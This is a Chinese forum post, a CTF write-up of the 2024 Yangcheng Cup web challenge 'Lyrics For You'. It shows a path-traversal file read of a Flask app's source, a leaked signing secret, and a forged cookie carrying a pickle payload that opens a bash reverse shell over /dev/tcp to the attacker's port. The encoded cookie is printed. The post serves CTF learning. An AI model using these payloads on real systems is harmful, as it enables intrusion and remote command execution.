【2024羊城杯】初赛WEB-Lyrics For You解题分享

张春  金牌会员 | 2024-10-11 03:02:08 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 898|帖子 898|积分 2694

【2024羊城杯】初赛WEB-Lyrics For You解题分享

开端分析,获取源码

靶机开启后只显示一个页面,页面有三个超链接,打开后url为https://ip:port/lyrics?lyrics=Rain.txt,开端推测为路径拼接文件读取,返回文件内容。
使用lyrics=/…/…/…/…/…/…/…/etc/passwd发现读取服务器用户信息成功,
改为lyrics=/…/…/…/…/…/…/…/proc/self/cmdline读取当前进程完备命令,
显示python -u /usr/etc/app/app.py,
访问lyrics=/…/…/…/…/…/…/…/usr/etc/app/app.py读取源码


  • app.py
    1. import os
    2. import random
    3. from flask import Flask, make_response, request, render_template
    4. from config.secret_key import secret_code
    5. from cookie import set_cookie, cookie_check, get_cookie
    6. import pickle
    7. app = Flask(__name__)
    8. # 设置Flask应用的密钥,用于会话加密
    9. app.secret_key = random.randbytes(16)
    10. class UserData:
    11.     """用户数据类,存储用户名"""
    12.     def __init__(self, username):
    13.         self.username = username
    14. def Waf(data):
    15.     """
    16.     Web应用防火墙函数,检查数据中是否包含黑名单中的敏感词汇
    17.     :param data: 待检测的数据
    18.     :return: 如果数据中包含敏感词则返回True,否则返回False
    19.     """
    20.     blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    21.     valid = False
    22.     for word in blacklist:
    23.         if word.lower() in data.lower():
    24.             valid = True
    25.             break
    26.     return valid
    27. @app.route("/", methods=['GET'])
    28. def index():
    29.     """
    30.     处理首页请求,渲染index.html模板
    31.     :return: 渲染的HTML页面
    32.     """
    33.     return render_template('index.html')
    34. @app.route("/lyrics", methods=['GET'])
    35. def lyrics():
    36.     """
    37.     处理歌词请求,根据请求参数返回指定歌词文件的内容
    38.     :return: 歌词文件内容或错误消息
    39.     """
    40.     resp = make_response()
    41.     resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
    42.     query = request.args.get("lyrics")
    43.     path = os.path.join(os.getcwd() + "/lyrics", query)
    44.     try:
    45.         with open(path) as f:
    46.             res = f.read()
    47.     except Exception as e:
    48.         return "No lyrics found"
    49.     return res
    50. @app.route("/login", methods=['POST', 'GET'])
    51. def login():
    52.     """
    53.     处理用户登录请求,如果是POST请求则设置用户cookie
    54.     :return: 登录页面或设置cookie后的响应
    55.     """
    56.     if request.method == 'POST':
    57.         username = request.form["username"]
    58.         user = UserData(username)
    59.         res = {"username": user.username}
    60.         return set_cookie("user", res, secret=secret_code)
    61.     return render_template('login.html')
    62. @app.route("/board", methods=['GET'])
    63. def board():
    64.     """
    65.     处理留言板请求,根据用户cookie显示不同的页面
    66.     :return: 渲染的用户或管理员页面
    67.     """
    68.     invalid = cookie_check("user", secret=secret_code)
    69.     if invalid:
    70.         return "Nope, invalid code get out!"
    71.     data = get_cookie("user", secret=secret_code)
    72.     if isinstance(data, bytes):
    73.         a = pickle.loads(data)
    74.         data = str(data, encoding="utf-8")
    75.     if "username" not in data:
    76.         return render_template('user.html', name="guest")
    77.     if data["username"] == "admin":
    78.         return render_template('admin.html', name=data["username"])
    79.     if data["username"] != "admin":
    80.         return render_template('user.html', name=data["username"])
    81. if __name__ == "__main__":
    82.     # 设置工作目录为当前文件所在的目录
    83.     os.chdir(os.path.dirname(__file__))
    84.     # 运行Flask应用
    85.     app.run(host="0.0.0.0", port=8080)
    复制代码
跟据import内容
读取cookie.py和secret_key


  • cookie.py
    1. import base64
    2. import hashlib
    3. import hmac
    4. import pickle
    5. from flask import make_response, request
    6. # Compatibility layer for Python 3
    7. unicode = str
    8. basestring = str
    9. secret_code = "EnjoyThePlayTime123456"
    10. data=
    11. def cookie_encode(data, key):
    12.     msg = base64.b64encode(pickle.dumps(data, -1))
    13.     sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    14.     return tob('!') + sig + tob('?') + msg
    15. def cookie_decode(data, key):
    16.     data = tob(data)
    17.     if cookie_is_encoded(data):
    18.         sig, msg = data.split(tob('?'), 1)
    19.         if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
    20.             return pickle.loads(base64.b64decode(msg))
    21.     return None
    22. def waf(data):
    23.     blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    24.     valid = False
    25.     for word in blacklist:
    26.         if word in data:
    27.             valid = True
    28.             break
    29.     return valid
    30. def cookie_check(key, secret=None):
    31.     a = request.cookies.get(key)
    32.     data = tob(request.cookies.get(key))
    33.     if data:
    34.         if cookie_is_encoded(data):
    35.             sig, msg = data.split(tob('?'), 1)
    36.             if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
    37.                 res = base64.b64decode(msg)
    38.                 if waf(res):
    39.                     return True
    40.                 else:
    41.                     return False
    42.             return True
    43.     else:
    44.         return False
    45. def tob(s, enc='utf8'):
    46.     return s.encode(enc) if isinstance(s, unicode) else bytes(s)
    47. def get_cookie(key, default=None, secret=None):
    48.     value = request.cookies.get(key)
    49.     if secret and value:
    50.         dec = cookie_decode(value, secret)
    51.         return dec[1] if dec and dec[0] == key else default
    52.     return value or default
    53. def cookie_is_encoded(data):
    54.     return bool(data.startswith(tob('!')) and tob('?') in data)
    55. def _lscmp(a, b):
    56.     return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)
    57. def set_cookie(name, value, secret=None, **options):
    58.     if secret:
    59.         value = touni(cookie_encode((name, value), secret))
    60.         resp = make_response("success")
    61.         resp.set_cookie("user", value, max_age=3600)
    62.         return resp
    63.     elif not isinstance(value, basestring):
    64.         raise TypeError('Secret key missing for non-string Cookie.')
    65.     if len(value) > 4096:
    66.         raise ValueError('Cookie value too long.')
    67. def touni(s, enc='utf8', err='strict'):
    68.     return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)
    复制代码
  • secret_key
    secret_code = "EnjoyThePlayTime123456"
源码分析

app.py

  1. def Waf(data):
  2.     """
  3.     Web应用防火墙函数,检查数据中是否包含黑名单中的敏感词汇
  4.     :param data: 待检测的数据
  5.     :return: 如果数据中包含敏感词则返回True,否则返回False
  6.     """
  7.     blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
  8.     valid = False
  9.     for word in blacklist:
  10.         if word.lower() in data.lower():
  11.             valid = True
  12.             break
  13.     return valid
复制代码
app.py莫名有个waf在这,肯定不是白放的
  1. @app.route("/board", methods=['GET'])
  2. def board():
  3.     """
  4.     处理留言板请求,根据用户cookie显示不同的页面
  5.     :return: 渲染的用户或管理员页面
  6.     """
  7.     invalid = cookie_check("user", secret=secret_code)
  8.     if invalid:
  9.         return "Nope, invalid code get out!"
  10.     data = get_cookie("user", secret=secret_code)
  11.     if isinstance(data, bytes):
  12.         a = pickle.loads(data) #**这里有pickle反序列化漏洞**
  13.         data = str(data, encoding="utf-8")
  14.     if "username" not in data:
  15.         return render_template('user.html', name="guest")
  16.     if data["username"] == "admin":
  17.         return render_template('admin.html', name=data["username"])
  18.     if data["username"] != "admin":
  19.         return render_template('user.html', name=data["username"])
  20. if __name__ == "__main__":
  21.     # 设置工作目录为当前文件所在的目录
  22.     os.chdir(os.path.dirname(__file__))
  23.     # 运行Flask应用
  24.     app.run(host="0.0.0.0", port=8080)
复制代码
接下来只要通过伪造session传递数据到pickle.loads(data),然后使用系统命令执行反弹shell
  1. (S'bash -c "bash -i >& /dev/tcp/ip/4000 0>&1"'
  2. ios
  3. system
  4. .
复制代码
cookie.py

直接调用cookie_encode函数
  1. data=('user',b'''(S'bash -c "bash -i >& /dev/tcp/ip/4000 0>&1"'
  2. ios
  3. system
  4. .
  5. ''')print(cookie_encode(data, secret_code))
复制代码
user=!fzBR6MTlPIgw1wjf8B3CXw==?gAWVSAAAAAAAAACMBHVzZXKUQzsoUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwLzQwMDAgMD4mMSInCmlvcwpzeXN0ZW0KLpSGlC4=
反弹shell

先访问/login,之后访问/board,
使用Burpsuite拦截,修改cookie为须要的内容
当地监听4000端口,反弹shell成功
开端尝试读取flag
cat /flag显示没有权限,提权也还没学会
ls后,发现根目录有/readflag文件
直接运行得到flag
总结

和去年的2023羊城杯的Serpent很像,思路也差不多,只是细节上不太一样,但是新人菜鸡做了快一天,这一天学的比一暑假都多(还被队友骂了
叠甲:新人CTFer第一次做这么复杂的标题,如果有错误麻烦各位师傅指出来,本身查到的相关资料放在最后了,感谢看到这里Ciallo~(∠・ω< )⌒☆
扩展链接:


  • 2023年“羊城杯”网络安全大赛 Web方向题解wp 全_羊城杯2023wp-CSDN博客
  • 羊城杯 2023 Writeup - 星盟安全团队 (xmcve.com)
  • pickle反序列化初探 - 先知社区 (aliyun.com)
  • pickle反序列化漏洞根本知识与绕过简析 - 先知社区 (aliyun.com)
  • Linux各目录及每个目录的详细先容 - lin_zone - 博客园 (cnblogs.com)

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

张春

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表